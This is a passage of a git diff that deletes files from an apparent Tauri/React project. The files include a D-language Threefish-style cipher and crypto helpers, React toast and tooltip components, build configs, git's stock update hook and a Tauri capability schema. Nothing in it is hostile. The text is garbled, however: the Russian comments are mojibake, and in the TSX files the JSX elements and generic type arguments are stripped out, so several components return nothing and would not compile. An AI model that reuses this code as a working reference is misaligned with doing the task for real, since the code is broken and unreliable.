c) @system - { - ulong[8] f; - ulong[8] e; - ulong[2] y; - ulong[2] x; - ulong[8] v; - uint i; - - memcpy (&v[0], plainData, 64); - - for (uint round = 0; round < Nr; round++) - { - if (round % 4 == 0) - { - uint s = round >> 2; - - for (i = 0; i < Nw; i++) - { - e[i] = v[i] + subKeys[s][i]; - } - } - else - { - for (i = 0; i < Nw; i++) - { - e[i] = v[i]; - } - } - - for (i = 0; i < Nw / 2; i++) - { - x[0] = e[i * 2]; - x[1] = e[i * 2 + 1]; - - _mix(x, r[cast(uint) _mod8(round)][i], y); - - f[i * 2] = y[0]; - f[i * 2 + 1] = y[1]; - } - - for (i = 0; i < Nw; i++) - { - v[i] = f[p[i]]; - } - } - - for (i = 0; i < Nw; i++) - { - c[i] = v[i] + subKeys[Ns][i]; - } - } - - /// Шифрование блока (безопаÑÐ½Ð°Ñ Ð²ÐµÑ€ÑиÑ) - /// plain - маÑÑив Ñ Ð´Ð°Ð½Ð½Ñ‹Ð¼Ð¸ блока - auto crypt(ulong[8] plainData) - { - ulong[8] c = 0; - crypt(plainData.ptr, c.ptr); - return c; - } - - /// Дешифрование блока - /// plain - указатель на блок Ð´Ð»Ñ Ð´ÐµÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ, c - маÑÑив-приемник результата - void decrypt(ulong* plainData, ulong* c) @system - { - ulong[8] f; - ulong[8] e; - ulong[2] y; - ulong[2] x; - ulong[8] v; - uint i; - - memcpy(&v[0], plainData, 64); - - for (uint round = Nr; round > 0; round--) - { - if (round % 4 == 0) - { - uint s = round >> 2; - for (i = 0; i < Nw; i++) - { - f[i] = v[i] - subKeys[s][i]; - } - } - else - { - for (i = 0; i < Nw; i++) - { - f[i] = v[i]; - } - } - - for (i = 0; i < Nw; i++) - { - e[i] = f[p_1[i]]; - } - - for (i = 0; i < Nw / 2; i++) - { - y[0] = e[i * 2]; - y[1] = e[i * 2 + 1]; - - _demix(y, r[cast(uint) _mod8(round - 1)][i], x); - - v[i * 2] = x[0]; - v[i * 2 + 1] = x[1]; - } - } - - for (i = 0; i < Nw; i++) - { - c[i] = v[i] - subKeys[0][i]; - } - } - - /// Дешифрование блока (безопаÑÐ½Ð°Ñ Ð²ÐµÑ€ÑиÑ) - /// plain - маÑÑив Ñ Ð´Ð°Ð½Ð½Ñ‹Ð¼Ð¸ блока - auto decrypt(ulong[8] plain) - { - ulong[8] c = 0; - decrypt(plain.ptr, c.ptr); - return c; - } - - /// Подготовка раундовых ключей - /// keyData - указатель на маÑÑив Ñ ÐºÐ»ÑŽÑ‡Ð¾Ð¼, tweakData - указатель на маÑÑив Ñ Ñ‚Ð²Ð¸Ðº-значением - void setup(ulong* keyData, ulong* tweakData) @system - { - uint i; - ulong[8] K; - ulong[2] T; - ulong[9] key; - - // C240 constant - ulong kNw = 0x1BD11BDAA9FC1A22; - - memcpy(&K[0], &keyData[0], 64); - memcpy(&T[0], &tweakData[0], 16); - - for (i = 0; i < Nw; i++) - { - kNw ^= K[i]; - key[i] = K[i]; - } - - key[8] = kNw; - - t[0] = T[0]; - t[1] = T[1]; - t[2] = T[0] ^ T[1]; - - for (uint round = 0; round <= Ns; round++) - { - for (i = 0; i < Nw; i++) - { - subKeys[round][i] = key[(round + i) % (Nw + 1)]; - - if (i == Nw - 3) - { - subKeys[round][i] += t[round % 3]; - } - else if (i == Nw - 2) - { - subKeys[round][i] += t[(round + 1) % 3]; - } - else if (i == Nw - 1) - { - subKeys[round][i] += round; - } - } - } - } - - /// Подготовка раундовых ключей (безопаÑÐ½Ð°Ñ Ð²ÐµÑ€ÑиÑ) - /// keyData - указатель на маÑÑив Ñ ÐºÐ»ÑŽÑ‡Ð¾Ð¼, tweakData - указатель на маÑÑив Ñ Ñ‚Ð²Ð¸Ðº-значением - void setup(ulong[8] keyData, ulong[2] tweakData) - { - setup(keyData.ptr, tweakData.ptr); - } - - public static ulong[8] generateKey() - { - ulong[8] key; - auto rng = Random(unpredictableSeed); - foreach (i; 0 .. 8) - { - key[i] = uniform!ulong(rng); - } - return key; - } - - public static ulong[2] generateTweak() - { - ulong[2] tweak; - auto rng = Random(unpredictableSeed); - foreach (i; 0 .. 2) - { - tweak[i] = uniform!ulong(rng); - } - return tweak; - } -} \ No newline at end of file diff --git a/toast.tsx b/toast.tsx deleted file mode 100644 index 8841680..0000000 --- a/toast.tsx +++ /dev/null @@ -1,127 +0,0 @@ -import * as React from "react" -import { Cross2Icon } from "@radix-ui/react-icons" -import * as ToastPrimitives from "@radix-ui/react-toast" -import { cva, type VariantProps } from "class-variance-authority" - -import { cn } from "@/lib/utils" - -const ToastProvider = ToastPrimitives.Provider - -const ToastViewport = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -ToastViewport.displayName = ToastPrimitives.Viewport.displayName - -const toastVariants = cva( - "group pointer-events-auto relative flex w-full items-center justify-between space-x-2 overflow-hidden rounded-md border p-4 pr-6 shadow-lg transition-all data-[swipe=cancel]:translate-x-0 data-[swipe=end]:translate-x-[var(--radix-toast-swipe-end-x)] data-[swipe=move]:translate-x-[var(--radix-toast-swipe-move-x)] data-[swipe=move]:transition-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[swipe=end]:animate-out data-[state=closed]:fade-out-80 data-[state=closed]:slide-out-to-right-full data-[state=open]:slide-in-from-top-full data-[state=open]:sm:slide-in-from-bottom-full", - { - variants: { - variant: { - default: "border bg-background text-foreground", - destructive: - "destructive group border-destructive bg-destructive text-destructive-foreground", - }, - }, - defaultVariants: { - variant: "default", - }, - } -) - -const Toast = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & - VariantProps ->(({ className, variant, ...props }, ref) => { - return ( - - ) -}) -Toast.displayName = ToastPrimitives.Root.displayName - -const ToastAction = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -ToastAction.displayName = ToastPrimitives.Action.displayName - -const ToastClose = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - -)) -ToastClose.displayName = ToastPrimitives.Close.displayName - -const ToastTitle = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -ToastTitle.displayName = ToastPrimitives.Title.displayName - -const ToastDescription = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -ToastDescription.displayName = ToastPrimitives.Description.displayName - -type ToastProps = React.ComponentPropsWithoutRef - -type ToastActionElement = React.ReactElement - -export { - type ToastProps, - type ToastActionElement, - ToastProvider, - ToastViewport, - Toast, - ToastTitle, - ToastDescription, - ToastClose, - ToastAction, -} diff --git a/toaster.tsx b/toaster.tsx deleted file mode 100644 index dfc672b..0000000 --- a/toaster.tsx +++ /dev/null @@ -1,33 +0,0 @@ -import { useToast } from "@/hooks/use-toast" -import { - Toast, - ToastClose, - ToastDescription, - ToastProvider, - ToastTitle, - ToastViewport, -} from "@/components/ui/toast" - -export function Toaster() { - const { toasts } = useToast() - - return ( - - {toasts.map(function ({ id, title, description, action, ...props }) { - return ( - -
    - {title && {title}} - {description && ( - {description} - )} -
    - {action} - -
    - ) - })} - -
    - ) -} diff --git a/tooltip.tsx b/tooltip.tsx deleted file mode 100644 index 705badd..0000000 --- a/tooltip.tsx +++ /dev/null @@ -1,30 +0,0 @@ -import * as React from "react" -import * as TooltipPrimitive from "@radix-ui/react-tooltip" - -import { cn } from "@/lib/utils" - -const TooltipProvider = TooltipPrimitive.Provider - -const Tooltip = TooltipPrimitive.Root - -const TooltipTrigger = TooltipPrimitive.Trigger - -const TooltipContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, sideOffset = 4, ...props }, ref) => ( - - - -)) -TooltipContent.displayName = TooltipPrimitive.Content.displayName - -export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider } diff --git a/tsconfig.json b/tsconfig.json deleted file mode 100644 index 53a62f8..0000000 --- a/tsconfig.json +++ /dev/null @@ -1,29 +0,0 @@ -{ - "compilerOptions": { - "target": "ES2020", - "useDefineForClassFields": true, - "lib": ["ES2020", "DOM", "DOM.Iterable"], - "module": "ESNext", - "skipLibCheck": true, - - /* Bundler mode */ - "moduleResolution": "bundler", - "allowImportingTsExtensions": true, - "resolveJsonModule": true, - "isolatedModules": true, - "noEmit": true, - "jsx": "react-jsx", - - /* Linting */ - "strict": true, - "noUnusedLocals": true, - "noUnusedParameters": true, - "noFallthroughCasesInSwitch": true, - "baseUrl": ".", - "paths": { - "@/*": ["./src/*"] - } - }, - "include": ["src"], - "references": [{ "path": "./tsconfig.node.json" }] -} diff --git a/tsconfig.node.json b/tsconfig.node.json deleted file mode 100644 index e1130cf..0000000 --- a/tsconfig.node.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "compilerOptions": { - "composite": true, - "skipLibCheck": true, - "module": "ESNext", - "moduleResolution": "bundler", - "allowSyntheticDefaultImports": true, - "baseUrl": ".", - "paths": { - "@/*": [ - "./src/*" - ] - } - }, - "include": ["vite.config.ts"] -} diff --git a/update.sample b/update.sample deleted file mode 100644 index 42359f2..0000000 --- a/update.sample +++ /dev/null @@ -1,128 +0,0 @@ -#!/bin/sh -# -# An example hook script to block unannotated tags from entering. -# Called by "git receive-pack" with arguments: refname sha1-old sha1-new -# -# To enable this hook, rename this file to "update". -# -# Config -# ------ -# hooks.allowunannotated -# This boolean sets whether unannotated tags will be allowed into the -# repository. By default they won't be. -# hooks.allowdeletetag -# This boolean sets whether deleting tags will be allowed in the -# repository. By default they won't be. -# hooks.allowmodifytag -# This boolean sets whether a tag may be modified after creation. By default -# it won't be. -# hooks.allowdeletebranch -# This boolean sets whether deleting branches will be allowed in the -# repository. By default they won't be. -# hooks.denycreatebranch -# This boolean sets whether remotely creating branches will be denied -# in the repository. By default this is allowed. -# - -# --- Command line -refname="$1" -oldrev="$2" -newrev="$3" - -# --- Safety check -if [ -z "$GIT_DIR" ]; then - echo "Don't run this script from the command line." >&2 - echo " (if you want, you could supply GIT_DIR then run" >&2 - echo " $0 )" >&2 - exit 1 -fi - -if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then - echo "usage: $0 " >&2 - exit 1 -fi - -# --- Config -allowunannotated=$(git config --type=bool hooks.allowunannotated) -allowdeletebranch=$(git config --type=bool hooks.allowdeletebranch) -denycreatebranch=$(git config --type=bool hooks.denycreatebranch) -allowdeletetag=$(git config --type=bool hooks.allowdeletetag) -allowmodifytag=$(git config --type=bool hooks.allowmodifytag) - -# check for no description -projectdesc=$(sed -e '1q' "$GIT_DIR/description") -case "$projectdesc" in -"Unnamed repository"* | "") - echo "*** Project description file hasn't been set" >&2 - exit 1 - ;; -esac - -# --- Check types -# if $newrev is 0000...0000, it's a commit to delete a ref. -zero=$(git hash-object --stdin &2 - echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2 - exit 1 - fi - ;; - refs/tags/*,delete) - # delete tag - if [ "$allowdeletetag" != "true" ]; then - echo "*** Deleting a tag is not allowed in this repository" >&2 - exit 1 - fi - ;; - refs/tags/*,tag) - # annotated tag - if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1 - then - echo "*** Tag '$refname' already exists." >&2 - echo "*** Modifying a tag is not allowed in this repository." >&2 - exit 1 - fi - ;; - refs/heads/*,commit) - # branch - if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then - echo "*** Creating a branch is not allowed in this repository" >&2 - exit 1 - fi - ;; - refs/heads/*,delete) - # delete branch - if [ "$allowdeletebranch" != "true" ]; then - echo "*** Deleting a branch is not allowed in this repository" >&2 - exit 1 - fi - ;; - refs/remotes/*,commit) - # tracking branch - ;; - refs/remotes/*,delete) - # delete tracking branch - if [ "$allowdeletebranch" != "true" ]; then - echo "*** Deleting a tracking branch is not allowed in this repository" >&2 - exit 1 - fi - ;; - *) - # Anything else (is there anything else?) - echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2 - exit 1 - ;; -esac - -# --- Finished -exit 0 diff --git a/use-mobile.tsx b/use-mobile.tsx deleted file mode 100644 index 6c3e172..0000000 --- a/use-mobile.tsx +++ /dev/null @@ -1,19 +0,0 @@ -import * as React from "react" - -const MOBILE_BREAKPOINT = 768 - -export function useIsMobile() { - const [isMobile, setIsMobile] = React.useState(undefined) - - React.useEffect(() => { - const mql = window.matchMedia(`(max-width: ${MOBILE_BREAKPOINT - 1}px)`) - const onChange = () => { - setIsMobile(window.innerWidth < MOBILE_BREAKPOINT) - } - mql.addEventListener("change", onChange) - setIsMobile(window.innerWidth < MOBILE_BREAKPOINT) - return () => mql.removeEventListener("change", onChange) - }, []) - - return !!isMobile -} diff --git a/use-toast.ts b/use-toast.ts deleted file mode 100644 index b210e60..0000000 --- a/use-toast.ts +++ /dev/null @@ -1,191 +0,0 @@ -import * as React from "react" - -import type { - ToastActionElement, - ToastProps, -} from "@/components/ui/toast" - -const TOAST_LIMIT = 1 -const TOAST_REMOVE_DELAY = 1000000 - -type ToasterToast = ToastProps & { - id: string - title?: React.ReactNode - description?: React.ReactNode - action?: ToastActionElement -} - -const actionTypes = { - ADD_TOAST: "ADD_TOAST", - UPDATE_TOAST: "UPDATE_TOAST", - DISMISS_TOAST: "DISMISS_TOAST", - REMOVE_TOAST: "REMOVE_TOAST", -} as const - -let count = 0 - -function genId() { - count = (count + 1) % Number.MAX_SAFE_INTEGER - return count.toString() -} - -type ActionType = typeof actionTypes - -type Action = - | { - type: ActionType["ADD_TOAST"] - toast: ToasterToast - } - | { - type: ActionType["UPDATE_TOAST"] - toast: Partial - } - | { - type: ActionType["DISMISS_TOAST"] - toastId?: ToasterToast["id"] - } - | { - type: ActionType["REMOVE_TOAST"] - toastId?: ToasterToast["id"] - } - -interface State { - toasts: ToasterToast[] -} - -const toastTimeouts = new Map>() - -const addToRemoveQueue = (toastId: string) => { - if (toastTimeouts.has(toastId)) { - return - } - - const timeout = setTimeout(() => { - toastTimeouts.delete(toastId) - dispatch({ - type: "REMOVE_TOAST", - toastId: toastId, - }) - }, TOAST_REMOVE_DELAY) - - toastTimeouts.set(toastId, timeout) -} - -export const reducer = (state: State, action: Action): State => { - switch (action.type) { - case "ADD_TOAST": - return { - ...state, - toasts: [action.toast, ...state.toasts].slice(0, TOAST_LIMIT), - } - - case "UPDATE_TOAST": - return { - ...state, - toasts: state.toasts.map((t) => - t.id === action.toast.id ? { ...t, ...action.toast } : t - ), - } - - case "DISMISS_TOAST": { - const { toastId } = action - - // ! Side effects ! - This could be extracted into a dismissToast() action, - // but I'll keep it here for simplicity - if (toastId) { - addToRemoveQueue(toastId) - } else { - state.toasts.forEach((toast) => { - addToRemoveQueue(toast.id) - }) - } - - return { - ...state, - toasts: state.toasts.map((t) => - t.id === toastId || toastId === undefined - ? { - ...t, - open: false, - } - : t - ), - } - } - case "REMOVE_TOAST": - if (action.toastId === undefined) { - return { - ...state, - toasts: [], - } - } - return { - ...state, - toasts: state.toasts.filter((t) => t.id !== action.toastId), - } - } -} - -const listeners: Array<(state: State) => void> = [] - -let memoryState: State = { toasts: [] } - -function dispatch(action: Action) { - memoryState = reducer(memoryState, action) - listeners.forEach((listener) => { - listener(memoryState) - }) -} - -type Toast = Omit - -function toast({ ...props }: Toast) { - const id = genId() - - const update = (props: ToasterToast) => - dispatch({ - type: "UPDATE_TOAST", - toast: { ...props, id }, - }) - const dismiss = () => dispatch({ type: "DISMISS_TOAST", toastId: id }) - - dispatch({ - type: "ADD_TOAST", - toast: { - ...props, - id, - open: true, - onOpenChange: (open) => { - if (!open) dismiss() - }, - }, - }) - - return { - id: id, - dismiss, - update, - } -} - -function useToast() { - const [state, setState] = React.useState(memoryState) - - React.useEffect(() => { - listeners.push(setState) - return () => { - const index = listeners.indexOf(setState) - if (index > -1) { - listeners.splice(index, 1) - } - } - }, [state]) - - return { - ...state, - toast, - dismiss: (toastId?: string) => dispatch({ type: "DISMISS_TOAST", toastId }), - } -} - -export { useToast, toast } diff --git a/utils.d b/utils.d deleted file mode 100644 index aa39c4a..0000000 --- a/utils.d +++ /dev/null @@ -1,109 +0,0 @@ -module angel.utils.cryptography.utils; - -import core.vararg; -import std.traits; -import std.algorithm; - -/// TODO: neat variadic implementation of `wipe()` - -/// Clears data in memory. -@safe @nogc nothrow -void wipe(T)(ref T t) { - static if(is(typeof(cast (ubyte[]) t))) { - ubyte[] bytes = cast(ubyte[]) t; - - bytes[] = 0; - - if(!all!"a == 0"(bytes[])) { - // This should not get optimized away. - assert(false, "Wiping failed."); - } - } else static if ( is(typeof( {T a = T.init;} ))) { - t = T.init; - - if(t != T.init) { - // This should not get optimized away. - assert(false, "Wiping failed."); - } - } else { - static assert(false, "Type not supported for wiping: " ~ T.stringof); - } -} - - -@safe @nogc nothrow -void wipe(T...)(ref T ts) { - foreach(ref t; ts) { - wipe(t); - } -} - -// test static arrays -unittest { - ubyte[4] buf1 = [1,2,3,4]; - uint[4] buf2 = [1,2,3,4]; - size_t[4] buf3 = [1,2,3,4]; - - wipe(buf1); - wipe(buf2); - wipe(buf3); - - assert(all!"a == 0"(buf1[]), "Failed to wipe ubyte[]."); - assert(all!"a == 0"(buf2[]), "Failed to wipe ubyte[]."); - assert(all!"a == 0"(buf3[]), "Failed to wipe ubyte[]."); -} - -// test dynamic arrays -unittest { - ubyte[] buf1 = [1,2,3,4]; - uint[] buf2 = [1,2,3,4]; - size_t[] buf3 = [1,2,3,4]; - - wipe(buf1, buf2, buf3); - - assert(all!"a == 0"(buf1), "Failed to wipe ubyte[]."); - assert(all!"a == 0"(buf2), "Failed to wipe ubyte[]."); - assert(all!"a == 0"(buf3), "Failed to wipe ubyte[]."); -} - -unittest { - int a = 42; - int b = 84; - ubyte c = 1; - - wipe(a, b, c); - - assert(a == 0 && b == 0 && c == 0, "Wiping integer failed!"); -} - -/// Compares a and b in constant time. -/// -/// Returns: 0 if a == b, some other value if a != b. -bool crypto_equals(T)(in T[] a, in T[] b) pure nothrow @safe @nogc -in { - assert(a.length == b.length, "Unequal length."); -} body { - T result = 0; - size_t i = 0; - - while(i < a.length) { - result |= a[i] ^ b[i]; - ++i; - } - - if(i != a.length) { - // Just to be sure that the compiler optimization does not destroy const time. - assert(false); - } - - return result == 0; -} - -// test crypto_equals -unittest { - ubyte[32] f = 0; - immutable ubyte[32] zero = 0; - assert(crypto_equals(f[], zero[])); - f[8] = 1; - assert(!crypto_equals(f[], zero[])); -} \ No newline at end of file diff --git a/utils.ts b/utils.ts deleted file mode 100644 index 93345a9..0000000 --- a/utils.ts +++ /dev/null @@ -1,6 +0,0 @@ -import { clsx, type ClassValue } from "clsx" -import { twMerge } from "tailwind-merge" - -export function cn(...inputs: ClassValue[]) { - return twMerge(clsx(inputs)) -} diff --git a/vite-env.d.ts b/vite-env.d.ts deleted file mode 100644 index c35a5ea..0000000 --- a/vite-env.d.ts +++ /dev/null @@ -1 +0,0 @@ -/// diff --git a/vite.config.ts b/vite.config.ts deleted file mode 100644 index edf234c..0000000 --- a/vite.config.ts +++ /dev/null @@ -1,36 +0,0 @@ -import { defineConfig } from "vite"; -import react from "@vitejs/plugin-react"; -import path from "path"; - -const host = process.env.TAURI_DEV_HOST; - -export default defineConfig(async () => ({ - plugins: [react()], - resolve: { - alias: { - "@": path.resolve(__dirname, "./src"), - }, - }, - - // Vite options tailored for Tauri development and only applied in `tauri dev` or `tauri build` - // - // 1. prevent vite from obscuring rust errors - clearScreen: false, - // 2. tauri expects a fixed port, fail if that port is not available - server: { - port: 1420, - strictPort: true, - host: host || false, - hmr: host - ? { - protocol: "ws", - host, - port: 1421, - } - : undefined, - watch: { - // 3. tell vite to ignore watching `src-tauri` - ignored: ["**/src-tauri/**"], - }, - }, -})); diff --git a/windows-schema.json b/windows-schema.json deleted file mode 100644 index 5a0123f..0000000 --- a/windows-schema.json +++ /dev/null @@ -1,2054 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-07/schema#", - "title": "CapabilityFile", - "description": "Capability formats accepted in a capability file.", - "anyOf": [ - { - "description": "A single capability.", - "allOf": [ - { - "$ref": "#/definitions/Capability" - } - ] - }, - { - "description": "A list of capabilities.", - "type": "array", - "items": { - "$ref": "#/definitions/Capability" - } - }, - { - "description": "A list of capabilities.", - "type": "object", - "required": [ - "capabilities" - ], - "properties": { - "capabilities": { - "description": "The list of capabilities.", - "type": "array", - "items": { - "$ref": "#/definitions/Capability" - } - } - } - } - ], - "definitions": { - "Capability": { - "description": "A grouping and boundary mechanism developers can use to isolate access to the IPC layer.\n\nIt controls application windows fine grained access to the Tauri core, application, or plugin commands. If a window is not matching any capability then it has no access to the IPC layer at all.\n\nThis can be done to create groups of windows, based on their required system access, which can reduce impact of frontend vulnerabilities in less privileged windows. Windows can be added to a capability by exact name (e.g. `main-window`) or glob patterns like `*` or `admin-*`. A Window can have none, one, or multiple associated capabilities.\n\n## Example\n\n```json { \"identifier\": \"main-user-files-write\", \"description\": \"This capability allows the `main` window on macOS and Windows access to `filesystem` write related commands and `dialog` commands to enable programatic access to files selected by the user.\", \"windows\": [ \"main\" ], \"permissions\": [ \"core:default\", \"dialog:open\", { \"identifier\": \"fs:allow-write-text-file\", \"allow\": [{ \"path\": \"$HOME/test.txt\" }] }, \"platforms\": [\"macOS\",\"windows\"] } ```", - "type": "object", - "required": [ - "identifier", - "permissions" - ], - "properties": { - "identifier": { - "description": "Identifier of the capability.\n\n## Example\n\n`main-user-files-write`", - "type": "string" - }, - "description": { - "description": "Description of what the capability is intended to allow on associated windows.\n\nIt should contain a description of what the grouped permissions should allow.\n\n## Example\n\nThis capability allows the `main` window access to `filesystem` write related commands and `dialog` commands to enable programatic access to files selected by the user.", - "default": "", - "type": "string" - }, - "remote": { - "description": "Configure remote URLs that can use the capability permissions.\n\nThis setting is optional and defaults to not being set, as our default use case is that the content is served from our local application.\n\n:::caution Make sure you understand the security implications of providing remote sources with local system access. :::\n\n## Example\n\n```json { \"urls\": [\"https://*.mydomain.dev\"] } ```", - "anyOf": [ - { - "$ref": "#/definitions/CapabilityRemote" - }, - { - "type": "null" - } - ] - }, - "local": { - "description": "Whether this capability is enabled for local app URLs or not. Defaults to `true`.", - "default": true, - "type": "boolean" - }, - "windows": { - "description": "List of windows that are affected by this capability. Can be a glob pattern.\n\nOn multiwebview windows, prefer [`Self::webviews`] for a fine grained access control.\n\n## Example\n\n`[\"main\"]`", - "type": "array", - "items": { - "type": "string" - } - }, - "webviews": { - "description": "List of webviews that are affected by this capability. Can be a glob pattern.\n\nThis is only required when using on multiwebview contexts, by default all child webviews of a window that matches [`Self::windows`] are linked.\n\n## Example\n\n`[\"sub-webview-one\", \"sub-webview-two\"]`", - "type": "array", - "items": { - "type": "string" - } - }, - "permissions": { - "description": "List of permissions attached to this capability.\n\nMust include the plugin name as prefix in the form of `${plugin-name}:${permission-name}`. For commands directly implemented in the application itself only `${permission-name}` is required.\n\n## Example\n\n```json [ \"core:default\", \"shell:allow-open\", \"dialog:open\", { \"identifier\": \"fs:allow-write-text-file\", \"allow\": [{ \"path\": \"$HOME/test.txt\" }] } ```", - "type": "array", - "items": { - "$ref": "#/definitions/PermissionEntry" - }, - "uniqueItems": true - }, - "platforms": { - "description": "Limit which target platforms this capability applies to.\n\nBy default all platforms are targeted.\n\n## Example\n\n`[\"macOS\",\"windows\"]`", - "type": [ - "array", - "null" - ], - "items": { - "$ref": "#/definitions/Target" - } - } - } - }, - "CapabilityRemote": { - "description": "Configuration for remote URLs that are associated with the capability.", - "type": "object", - "required": [ - "urls" - ], - "properties": { - "urls": { - "description": "Remote domains this capability refers to using the [URLPattern standard](https://urlpattern.spec.whatwg.org/).\n\n## Examples\n\n- \"https://*.mydomain.dev\": allows subdomains of mydomain.dev - \"https://mydomain.dev/api/*\": allows any subpath of mydomain.dev/api", - "type": "array", - "items": { - "type": "string" - } - } - } - }, - "PermissionEntry": { - "description": "An entry for a permission value in a [`Capability`] can be either a raw permission [`Identifier`] or an object that references a permission and extends its scope.", - "anyOf": [ - { - "description": "Reference a permission or permission set by identifier.", - "allOf": [ - { - "$ref": "#/definitions/Identifier" - } - ] - }, - { - "description": "Reference a permission or permission set by identifier and extends its scope.", - "type": "object", - "allOf": [ - { - "if": { - "properties": { - "identifier": { - "anyOf": [ - { - "description": "This permission set configures which\nshell functionality is exposed by default.\n\n#### Granted Permissions\n\nIt allows to use the `open` functionality without any specific\nscope pre-configured. It will allow opening `http(s)://`,\n`tel:` and `mailto:` links.\n", - "type": "string", - "const": "shell:default" - }, - { - "description": "Enables the execute command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-execute" - }, - { - "description": "Enables the kill command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-kill" - }, - { - "description": "Enables the open command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-open" - }, - { - "description": "Enables the spawn command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-spawn" - }, - { - "description": "Enables the stdin_write command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-stdin-write" - }, - { - "description": "Denies the execute command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-execute" - }, - { - "description": "Denies the kill command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-kill" - }, - { - "description": "Denies the open command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-open" - }, - { - "description": "Denies the spawn command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-spawn" - }, - { - "description": "Denies the stdin_write command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-stdin-write" - } - ] - } - } - }, - "then": { - "properties": { - "allow": { - "items": { - "title": "ShellScopeEntry", - "description": "Shell scope entry.", - "anyOf": [ - { - "type": "object", - "required": [ - "cmd", - "name" - ], - "properties": { - "args": { - "description": "The allowed arguments for the command execution.", - "allOf": [ - { - "$ref": "#/definitions/ShellScopeEntryAllowedArgs" - } - ] - }, - "cmd": { - "description": "The command name. It can start with a variable that resolves to a system base directory. The variables are: `$AUDIO`, `$CACHE`, `$CONFIG`, `$DATA`, `$LOCALDATA`, `$DESKTOP`, `$DOCUMENT`, `$DOWNLOAD`, `$EXE`, `$FONT`, `$HOME`, `$PICTURE`, `$PUBLIC`, `$RUNTIME`, `$TEMPLATE`, `$VIDEO`, `$RESOURCE`, `$LOG`, `$TEMP`, `$APPCONFIG`, `$APPDATA`, `$APPLOCALDATA`, `$APPCACHE`, `$APPLOG`.", - "type": "string" - }, - "name": { - "description": "The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.", - "type": "string" - } - }, - "additionalProperties": false - }, - { - "type": "object", - "required": [ - "name", - "sidecar" - ], - "properties": { - "args": { - "description": "The allowed arguments for the command execution.", - "allOf": [ - { - "$ref": "#/definitions/ShellScopeEntryAllowedArgs" - } - ] - }, - "name": { - "description": "The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.", - "type": "string" - }, - "sidecar": { - "description": "If this command is a sidecar command.", - "type": "boolean" - } - }, - "additionalProperties": false - } - ] - } - }, - "deny": { - "items": { - "title": "ShellScopeEntry", - "description": "Shell scope entry.", - "anyOf": [ - { - "type": "object", - "required": [ - "cmd", - "name" - ], - "properties": { - "args": { - "description": "The allowed arguments for the command execution.", - "allOf": [ - { - "$ref": "#/definitions/ShellScopeEntryAllowedArgs" - } - ] - }, - "cmd": { - "description": "The command name. It can start with a variable that resolves to a system base directory. The variables are: `$AUDIO`, `$CACHE`, `$CONFIG`, `$DATA`, `$LOCALDATA`, `$DESKTOP`, `$DOCUMENT`, `$DOWNLOAD`, `$EXE`, `$FONT`, `$HOME`, `$PICTURE`, `$PUBLIC`, `$RUNTIME`, `$TEMPLATE`, `$VIDEO`, `$RESOURCE`, `$LOG`, `$TEMP`, `$APPCONFIG`, `$APPDATA`, `$APPLOCALDATA`, `$APPCACHE`, `$APPLOG`.", - "type": "string" - }, - "name": { - "description": "The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.", - "type": "string" - } - }, - "additionalProperties": false - }, - { - "type": "object", - "required": [ - "name", - "sidecar" - ], - "properties": { - "args": { - "description": "The allowed arguments for the command execution.", - "allOf": [ - { - "$ref": "#/definitions/ShellScopeEntryAllowedArgs" - } - ] - }, - "name": { - "description": "The name for this allowed shell command configuration.\n\nThis name will be used inside of the webview API to call this command along with any specified arguments.", - "type": "string" - }, - "sidecar": { - "description": "If this command is a sidecar command.", - "type": "boolean" - } - }, - "additionalProperties": false - } - ] - } - } - } - }, - "properties": { - "identifier": { - "description": "Identifier of the permission or permission set.", - "allOf": [ - { - "$ref": "#/definitions/Identifier" - } - ] - } - } - }, - { - "properties": { - "identifier": { - "description": "Identifier of the permission or permission set.", - "allOf": [ - { - "$ref": "#/definitions/Identifier" - } - ] - }, - "allow": { - "description": "Data that defines what is allowed by the scope.", - "type": [ - "array", - "null" - ], - "items": { - "$ref": "#/definitions/Value" - } - }, - "deny": { - "description": "Data that defines what is denied by the scope. This should be prioritized by validation logic.", - "type": [ - "array", - "null" - ], - "items": { - "$ref": "#/definitions/Value" - } - } - } - } - ], - "required": [ - "identifier" - ] - } - ] - }, - "Identifier": { - "description": "Permission identifier", - "oneOf": [ - { - "description": "Default core plugins set which includes:\n- 'core:path:default'\n- 'core:event:default'\n- 'core:window:default'\n- 'core:webview:default'\n- 'core:app:default'\n- 'core:image:default'\n- 'core:resources:default'\n- 'core:menu:default'\n- 'core:tray:default'\n", - "type": "string", - "const": "core:default" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:app:default" - }, - { - "description": "Enables the app_hide 